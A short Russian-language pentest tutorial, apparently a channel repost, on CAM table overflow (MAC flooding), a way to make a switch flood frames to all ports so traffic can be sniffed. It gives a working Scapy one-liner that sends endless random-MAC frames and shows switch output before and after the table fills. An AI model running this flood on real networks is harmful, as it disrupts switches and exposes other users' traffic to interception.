Использование атаки CAM Table Overflow в пентесте



Атака CAM Table Overflow

Иног­да такая ата­ка называ­ется перепол­нени­ем таб­лицы MAC-адре­сов. Прин­цип этой ата­ки сос­тоит в том, что­бы выз­вать перепол­нение ком­мутаци­онной мат­рицы. В слу­чае чего ком­мутатор, гру­бо говоря, прев­раща­ется в хаб и начина­ет рас­сылать пос­тупа­ющие кад­ры во все пор­ты, что вызыва­ет иде­аль­ные усло­вия для перех­вата тра­фика.



Вызывать перепол­нение очень прос­то, ведь у ком­мутато­ров огра­ничен раз­мер таб­лиц MAC-адре­сов. При запол­нении таб­лицы MAC-адре­сов зло­умыш­ленник смо­жет видеть все рас­сыла­емые кад­ры из всех пор­тов.



CAM Table Overflow

Вос­поль­зуем­ся Scapy, что­бы про­вес­ти такую ата­ку. В качес­тве MAC-адре­са источни­ка пусть будет ран­домизи­рован­ный MAC-адрес, каж­дый новый генери­рующий­ся кадр будет с новым MAC-адре­сом. MAC-адре­сов наз­начения это тоже каса­ется.



Да­лее с помощью метода sendp выпол­няем рас­сылку фик­тивных кад­ров Ethernet. Задав loop = 1, зацик­лим отправ­ку этих кад­ров.





>>> malicious_frames = Ether(src=RandMAC(), dst=RandMAC())

>>> sendp(malicious_frames, iface="eth0", loop=1, verbose=1)




Дамп тра­фика в момент про­веде­ния ата­ки

Таб­лица MAC-адре­сов ком­мутато­ра до ата­ки:



CoreSW#show mac address-table count



Mac Entries for Vlan 1:

---------------------------

Dynamic Address Count : 3

Static Address Count : 0

Total Mac Addresses : 3



Total Mac Address Space Available: 7981

Таб­лица MAC-адре­сов ком­мутато­ра пос­ле ата­ки:



CoreSW#show mac address-table count



Mac Entries for Vlan 1:

---------------------------

Dynamic Address Count : 7981

Static Address Count : 0

Total Mac Addresses : 7981




Total Mac Address Space Available: 7981



По­ка таб­лица MAC-адре­сов не запол­нена, ком­мутатор будет переда­вать все кад­ры из всех пор­тов, исполь­зуя широко­веща­тель­ную рас­сылку.



Статья



@linuxkalii